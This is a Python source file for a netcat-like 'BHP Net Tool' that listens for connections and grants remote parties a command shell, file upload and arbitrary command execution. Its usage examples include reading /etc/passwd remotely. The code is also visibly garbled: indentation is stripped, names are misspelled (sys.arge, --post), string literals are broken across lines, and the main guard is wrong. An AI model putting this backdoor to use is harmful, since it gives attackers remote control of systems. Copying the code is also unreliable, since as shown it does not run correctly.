import sys
import socket
import getopt
import threading
import subprocess
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0
def usage():
print("BHP Net Tool")
print("Usage: bhpnet.py -t target_host -p port")
print("-l --listen - listen on [host]:[port] for incoming connections")
print("-e --execute=file_to_run - execute the give file upon receiving a connection")
print("-c --command - initialize a command shell")
print("-u --upload = destination - upon receiving connection upload a file and write to [destination]")
print(" ")
print("Examples: ")
print("bhpnet.py -t 192.168.1.1 -p 555 -l -c")
print("bhpnet.py -t 192.168.1.1 -p 555 -l -u = c:\target.exe")
print("bhpnet.py -t 192.168.1.1 -p 555 -l -e = "cat /etc/passwd" ")
print("echo '123' | ./bhpnet.py -t 192.168.1.1 -p 555")
sys.exit(0)
def main():
global listen
global port
global execute
global command
global upload_destination
global target
if not len(sys.arge[1:]):
usage()
try:
opts,args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:",["help","listen","execute","target","port","command","upload"])
except getopt.GetoptError as err:
print(str(err))
usage()
for o,a in opts:
if o in ("-h","--help"):
usage()
elif o in ("-l","--listen"):
listen = True
elif o in ("-e", "--execute"):
execute = a
elif o in ("-c","--commandshell"):
command = True
elif o in ("-u","--upload"):
upload_destination = a
elif o in ("-t","--target"):
target = a
elif o in ("-p","--post"):
port = int(a)
else:
assert False,"Unhandled Option"
if not listen and len(target) and port > 0:
buffer = sys.stdin.read()
client_sender(buffer)
if listen:
server_loop()
if __import__== "__main__":
main()
def client_sender(buffer):
client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
client.connect((target,port))
if len(buffer):
client.send(buffer)
while True:
recv_len = 1
response = ""
while recv_len:
data = client.recv(4096)
recv_len = len(data)
response += data
if recv_len < 4096:
break
print(response)
buffer = raw_input("")
buffer += "
"
client.send(buffer)
except:
print("[*] Exception! Exiting.")
client.close()
def server_loop():
global target
if not len(target):
target = "0.0.0.0"
server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server.bind((target,port))
server.listen(5)
while True:
client_socket,addr = server.accept()
client_thread = threading.Thread(target=client_handler,args=(client_socket,))
client_thread.start()
def run_command(command):
command = command.rstrip()
try:
output = subprocess.check_output(command,stderr=subprocess.STDOUT,shell=True)
except:
output = "Failed to execute command.
"
return output
def client_handler(client_socket):
global upload
global execute
global command
if len(upload_destination):
file_buffer = ""
while True:
data = client_socket.recv(1024)
if not data:
break
else:
file_buffer += data
try:
file_descriptor = open(upload_destination,"wb")
file_descriptor.write(file_buffer)
file_descriptor.close()
client_socket.send("Successfully saved file to %s
" % upload_destination)
except:
client_socket.send("Failed to save file to %s
" % upload_destination)
if len(execute):
output = run_command(execute)
client_socket.send(output)
if command:
while True:
client_socket.send("<BHP:#>")
cmd_buffer = ""
while "
" not in cmd_buffer:
cmd_buffer += client_socket.recv(1024)
response = run_command(cmd_buffer)
client_socket.send(response)